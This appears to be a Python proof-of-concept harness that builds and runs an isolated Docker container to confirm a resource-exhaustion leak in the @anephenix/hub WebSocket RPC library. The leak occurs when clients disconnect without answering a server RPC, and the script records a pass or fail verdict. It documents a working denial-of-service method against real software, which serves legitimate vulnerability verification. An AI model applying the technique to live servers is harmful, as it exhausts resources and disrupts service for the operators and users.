#!/usr/bin/env python3
"""
VULN-001 PoC — Unauthenticated WebSocket RPC Waiter Resource Exhaustion
(@anephenix/hub v0.2.15)

Builds a Docker image containing the hub library and a verification script,
then runs the container to produce deterministic evidence that
hub.rpc.requests[] entries (and their backing setInterval timers) are never
cleaned up when a WebSocket client disconnects without replying to the
server's "get-client-id" RPC request.

Usage:
    python3 poc.py

Exit codes:
    0  — vulnerability confirmed (PASS)
    1  — not reproduced (FAIL)
    2  — environment / build error
"""

import json
import subprocess
import sys
from pathlib import Path

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------
SCRIPT_DIR = Path(__file__).resolve().parent
REPO_ROOT   = SCRIPT_DIR.parent              # …/npm_web_272_anephenix__hub/
DOCKERFILE  = SCRIPT_DIR / "Dockerfile"
POC_TAG     = "hub-vuln-001:latest"

BUILD_CMD = [
    "docker", "build",
    "--no-cache",
    "-f", str(DOCKERFILE),
    "-t", POC_TAG,
    str(REPO_ROOT),   # build context = parent dir so COPY repo/ and COPY vuln-001/ both resolve
]

RUN_CMD = [
    "docker", "run",
    "--rm",
    "--network", "none",  # no external network access needed
    POC_TAG,
]


def banner(msg: str) -> None:
    print(f"\n{'='*60}\n  {msg}\n{'='*60}")


def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
    print("$", " ".join(cmd))
    return subprocess.run(cmd, **kwargs)


def build_image() -> None:
    banner("Phase 1 — Building Docker image")
    result = run(BUILD_CMD, capture_output=False)
    if result.returncode != 0:
        print("[ERROR] Docker build failed.", file=sys.stderr)
        sys.exit(2)
    print("[OK] Image built:", POC_TAG)


def run_poc() -> dict:
    banner("Phase 2 — Running vulnerability verification inside container")
    result = run(RUN_CMD, capture_output=True, text=True)

    print("--- container stdout ---")
    print(result.stdout)
    if result.stderr:
        print("--- container stderr ---")
        print(result.stderr)

    # The container exits 0 on confirmed leak, 1 otherwise.
    if result.returncode == 2:
        print("[ERROR] Verification script crashed.", file=sys.stderr)
        sys.exit(2)

    try:
        data = json.loads(result.stdout)
    except json.JSONDecodeError as exc:
        print(f"[ERROR] Could not parse container output as JSON: {exc}", file=sys.stderr)
        sys.exit(2)

    return data, result.returncode


def evaluate(data: dict, container_exit: int) -> tuple[bool, str]:
    """Return (passed, evidence_summary)."""
    after_close = data.get("snapshotAfterClose", {})
    after_batch  = data.get("snapshotAfterBatch", {})

    leaked_single = (
        after_close.get("pendingRpcRequests", 0) > 0 and
        after_close.get("serverClients", -1) == 0 and
        after_close.get("clientState", -1) == 3          # WebSocket.CLOSED
    )

    leaked_batch = (
        after_batch.get("pendingRpcRequests", 0) ==
        after_batch.get("expectedPendingRpcRequests", -1)
    )

    passed = leaked_single and leaked_batch and container_exit == 0

    evidence = (
        f"snapshotAfterClose={json.dumps(after_close)}; "
        f"snapshotAfterBatch={json.dumps(after_batch)}; "
        f"container_exit={container_exit}"
    )
    return passed, evidence


def main() -> None:
    build_image()
    data, container_exit = run_poc()

    banner("Phase 3 — Evaluating results")
    passed, evidence = evaluate(data, container_exit)

    if passed:
        print("[PASS] Leak confirmed: RPC waiter entries persist after socket close.")
    else:
        print("[FAIL] Leak NOT observed — check container output above.")

    return passed, evidence, data


if __name__ == "__main__":
    passed, evidence, raw = main()

    verdict = "PASS" if passed else "FAIL"
    reason = (
        "소켓이 닫힌 뒤에도 hub.rpc.requests[] 항목과 setInterval 타이머가 해제되지 않음이 "
        "런타임 검사로 확인됨. 단일 연결에서 pendingRpcRequests=1이 유지되고, "
        "배치 5개 추가 후 총 6개가 누적되어 선형 리소스 누수가 증명됨."
        if passed else
        "컨테이너 실행 결과에서 결정적 증거를 확보하지 못했음."
    )

    result_path = SCRIPT_DIR / "phase2_result.json"
    phase2 = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {Path(__file__).name}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "verify.mjs", "poc.py"],
    }

    result_path.write_text(json.dumps(phase2, indent=2, ensure_ascii=False))
    print(f"\n[INFO] Results written to {result_path}")

    sys.exit(0 if passed else 1)